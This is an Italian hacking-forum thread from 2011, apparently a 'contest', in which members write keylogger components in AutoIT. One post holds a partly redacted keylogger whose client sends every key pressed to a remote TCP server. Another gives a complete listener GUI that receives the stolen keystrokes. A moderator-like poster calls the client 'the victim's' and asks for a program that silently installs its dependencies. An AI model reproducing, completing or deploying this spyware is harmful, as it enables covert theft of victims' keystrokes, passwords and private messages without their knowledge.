[CONTEST] Qui non si può dire

« Older Newer »

/dev/random

Posted on 4/1/2011, 14:16

Quindi vi rimando al post nella antilamer.

3ad_Pr0grammer

Posted on 4/1/2011, 14:37

Ci proverò...

Cale92

Posted on 4/1/2011, 14:46

la parte più difficile mi sa che è cambiare i caratteri in lettere... appena ho tempo provo a farlo.. non dovrebbe essere difficile..

/dev/random

Posted on 4/1/2011, 14:48

Non è difficile, intanto basta riferirsi alla tabella, e poi AutoIT ha la funzione Chr() che prende come input il codice del carattere e restituisce direttamente la lettera! Niente di difficile, una funzione sola

Ikezawa

Posted on 4/1/2011, 15:00

CITAZIONE (/dev/random @ 4/1/2011, 14:16)

Quindi vi rimando al post nella antilamer.

Non posso sapere neppure di cosa si tratta

Ikezawa

Posted on 4/1/2011, 23:25

OK ho qualcosa se mai lo posto qui con alcune parti tagliate tanto per non infrangere il regolamento ..lol

CODICE

KLogger V 0.1

****************************************************************************************************************
SERVER
****************************************************************************************************************
#include <GUIConstantsEx.au3>
#Include <Misc.au3>

$dll=DllOpen("user32.dll")

Server()

Func Server()
Parte eliminata
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

GUISetState()
$ConnectedSocket = -1

Do
$ConnectedSocket = TCPAccept($MainSocket)
Until $ConnectedSocket <> -1

$szIP_Accepted = SocketToIP($ConnectedSocket)

While 1
$msg = GUIGetMsg()

If $msg = $GUI_EVENT_CLOSE Then ExitLoop
$recv = TCPRecv($ConnectedSocket, 2048)

If @error Then ExitLoop
If $recv <> "" Then
if $recv=chr($BackSpace) then ; Se riceve un backspace corregge il buffer
$view = Stringleft($view,stringlen($view)-1)
Elseif $recv='[INVIO]' then
$view = $view & @CRLF
Else
$view = $view & $recv ; aggiorna il buffer
EndIf
GUICtrlSetData($edit,$szIP_Accepted & " > " & $view) ; stampa
EndIF
WEnd

If $ConnectedSocket <> -1 Then TCPCloseSocket($ConnectedSocket)

TCPShutdown()
EndFunc

Func RemoteIp
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
endfunc

CODICE

*****************************************************************************************************
CLIENT : con _IsPressed
****************************************************************************************************
while @error=0
$i=0
$holdkey=""
while $i<=70
If _IsPressed($HEX[$i],$dll) Then
TCPSend($ConnectedSocket, $KEY[$i])
$holdkey =$i
EndIf
$i+=1;
Wend

if _IsPressed($BackSpace,$dll) Then TCPSend($ConnectedSocket, chr($BackSpace))
if _IsPressed($BackSpace,$dll)=0 AND _IsPressed($hex[$holdkey],$dll)=0 Then $ripeti =0 ; Dopo aver premuto allungo un tasto lo rilasciamo azzerando il flag

if $ripeti = 1 Then
$attendi =1
else
$attendi =20
EndIf

$conta=0;
while _IsPressed($BackSpace,$dll) or _IsPressed($hex[$holdkey],$dll)
$conta+=1
Sleep(20)
if $conta>$attendi then
$ripeti = 1; Se tiene premuto il tasto per più di "$attendi" invia caratteri senza attendere il rilascio del tasto
ExitLoop
EndIf
Wend

Wend

Per me sembra uno script semplice ma qualcosa ho tolto per il regolamento.. - :rolleyes:

Per la gestione del tasto premuto una volta o premuto per tot tempo ho usato un delay semplice , ma secondo me occorre usare il time per svincolarmi dal rate della tastiera..se non dico cavolate :

/dev/random

Posted on 4/1/2011, 23:40

Per il client si tiene quello in Python. Devi fare il programma che scarica i moduli di Python e Python.

Ikezawa

Posted on 4/1/2011, 23:47

Per il server ?

xMasteRx

Posted on 4/1/2011, 23:49

/dev/random hai visto quello che ho postato? G.G

Ikezawa

Posted on 4/1/2011, 23:54

CITAZIONE (xMasteRx @ 4/1/2011, 23:49)

/dev/random hai visto quello che ho postato? G.G

XD allora si chiede qualcosa di elaborato

/dev/random

Posted on 4/1/2011, 23:58

CITAZIONE (Ikezawa @ 4/1/2011, 23:47)

Per il server ?

No! Il server è quello che hai scritto in AutoIT! Per il client in Python, che chiaramente ha bisogno Python per funzionare, no? xD

xMasteRx

Posted on 4/1/2011, 23:58

nah, ho fatto un script veloce XD

Ikezawa

Posted on 5/1/2011, 00:03

CITAZIONE (/dev/random @ 4/1/2011, 23:58)

CITAZIONE (Ikezawa @ 4/1/2011, 23:47)

Per il server ?

No! Il server è quello che hai scritto in AutoIT! Per il client in Python, che chiaramente ha bisogno Python per funzionare, no? xD

lol ci siamo capiti male cmq np ora non conta XD .
Credo che realizzerò una versione successiva

del server

CITAZIONE (xMasteRx @ 4/1/2011, 23:58)

nah, ho fatto un script veloce XD

eh...Dipende cosa intendi tu per veloce :rolleyes:

xMasteRx

Posted on 5/1/2011, 00:06

CITAZIONE (xMasteRx @ 4/1/2011, 18:23)

prova questo lol

SPOILER (click to view)

CODICE

#include<WindowsConstants.au3>
#include<WinAPI.au3>
#include<GUIConstantsEx.au3>
#include<Misc.au3>
#include<GUIEdit.au3>
Opt("GUIOnEventMode", 1)
TCPStartup()
$GTitle="PyLogger"
Global $CInfo
$gWidth=300
$gHeight=600

$IP=@IPAddress1
$PORTA=12345

Global $gBKColor=303030
$GUI=GUICreate($GTitle, $gWidth, $gHeight, -1, -1, $WS_POPUPWINDOW, $WS_EX_LAYERED)
WinSetTrans($GUI, "", 254)
GUISetOnEvent(-3, "_Exit")
$gRgn = _WinAPI_CreateRoundRectRgn(0, 0, $gWidth, $gHeight, 50, 50)
_WinAPI_SetWindowRgn($GUI, $gRgn)
GUISetBkColor("0x"&$gBKColor)
GUICtrlCreateLabel($GTitle, 10, 5, 250, 17)
GUICtrlSetOnEvent(-1, "_GMove")
GUICtrlSetColor(-1, 0xCCCCCC)
GUICtrlSetBkColor(-1, $GUI_BKCOLOR_TRANSPARENT)
GUICtrlSetFont(-1, 10, "", "", "Calibri")
GUICtrlCreateLabel("X", 280, 5, 280, 17)
GUICtrlSetOnEvent(-1, "_Exit")
GUICtrlSetColor(-1, 0xFF0000)
GUICtrlSetBkColor(-1, $GUI_BKCOLOR_TRANSPARENT)
GUICtrlSetFont(-1, 10, "", "", "Calibri")
$Edit=GUICtrlCreateEdit("Connessione..."&@CRLF, 10, 100, 280, 480, $ES_READONLY)
GUICtrlSetBkColor(-1,"0x"&$gBKColor)
GUICtrlSetColor(-1, 0xCCCCCC)
GUICtrlSetFont(-1, 10, "", 2, "Calibri")
GUISetState()

$TCPListen=TCPListen($IP, $PORTA)
Do
$TCPsocket=TCPAccept($TCPListen)
Until $TCPsocket=True

AdlibRegister("_Svr_Recv", 10)
_GUICtrlEdit_AppendText($Edit, "In ascolto del PyLogger sulla porta "&$PORTA&" sull'ip "&$IP&@CRLF)

Do
Sleep(10)
Until False

Func _GMove()
AdlibRegister("_CGMove", 10)
$CInfo=GUIGetCursorInfo($GUI)
EndFunc

Func _Svr_Recv()
$recv=Int(TCPRecv($TCPsocket, 1024))
If $recv="" Then Return
ConsoleWrite(Chr($recv))
EndFunc

Func _CGMove()
If Not _IsPressed("01") Then
AdlibUnRegister("_CGMove")
Return
EndIf
$MPos=MouseGetPos()
If Not IsArray($CInfo) Or Not IsArray($MPos) Then Return
WinMove($GUI, "", $MPos[0]-$CInfo[0], $MPos[1]-$CInfo[1])
EndFunc

Func _Exit()
Exit
EndFunc

intendo per semplicissimo lol

/dev/random

Posted on 5/1/2011, 00:10

Capiamoci: il client è quello della vittima. C'è già, non serve. Serve un programma in AutoIT che soddisfi silenziosamente e automaticamente le dipendenze del client (quelle nel topic in antilamer).
Il server è l'altra cosa che dovete scrivere, perché quello in Python funziona bene solo sotto GNU/Linux.

25 replies since 4/1/2011, 14:16 431 views